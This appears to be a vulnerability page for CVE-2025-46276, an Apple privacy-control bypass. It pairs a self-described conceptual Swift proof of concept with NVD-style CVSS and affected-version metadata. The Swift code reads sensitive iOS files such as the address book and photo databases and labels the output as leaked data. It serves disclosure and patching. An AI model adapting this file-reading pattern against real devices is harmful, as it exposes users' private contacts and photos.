CVE-2025-46276

// CVE-2025-46276 PoC - Information Disclosure via Privacy Controls Bypass // Note: This is a conceptual PoC demonstrating the vulnerability pattern // Actual exploitation requires specific Apple API knowledge import Foundation class PrivacyBypassDemo { func exploitVulnerability() { // The vulnerability allows unauthorized access to sensitive user data // through improper privacy control implementation // Example attack vector (conceptual): let sensitiveDataPaths = [ "/var/mobile/Library/AddressBook/AddressBook.sqlitedb", "/var/mobile/Library/Photos/Photos.sqlite", "/var/mobile/Library/Preferences/com.apple.springboard.plist" ] // In vulnerable versions, apps could access these paths // without proper entitlement checks for path in sensitiveDataPaths { if let data = FileManager.default.contents(atPath: path) { // Successfully read sensitive data print("Leaked data from: \(path)") // Data would be exfiltrated here } } } } // Mitigation: Update to patched versions // iOS 18.7.3+, iPadOS 18.7.3+, macOS Sequoia 15.7.3+ // The patch adds proper entitlement verification before data access

{"cve": {"id": "CVE-2025-46276", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:57.770", "lastModified": "2026-04-02T19:21:02.373", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An information disclosure issue was addressed with improved privacy controls. This issue is fixed in iOS 18.7.3 and iPadOS 18.7.3, iOS 26.2 and iPadOS 26.2, macOS Sequoia 15.7.3, macOS Sonoma 14.8.3, macOS Tahoe 26.2, visionOS 26.2, watchOS 26.2. An app may be able to access sensitive user data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.8.3", "matchCriteriaId": "8E37DC2A-33E6-480B-8DFE-4F6558F0A895"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.3", "matchCriteriaId": "3428C860-E02D-4FE9-96F4-58EEAAB8321D"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125884", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125885", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125886", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125887", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125888", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125890", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125891", "source": "[email protected]"}]}}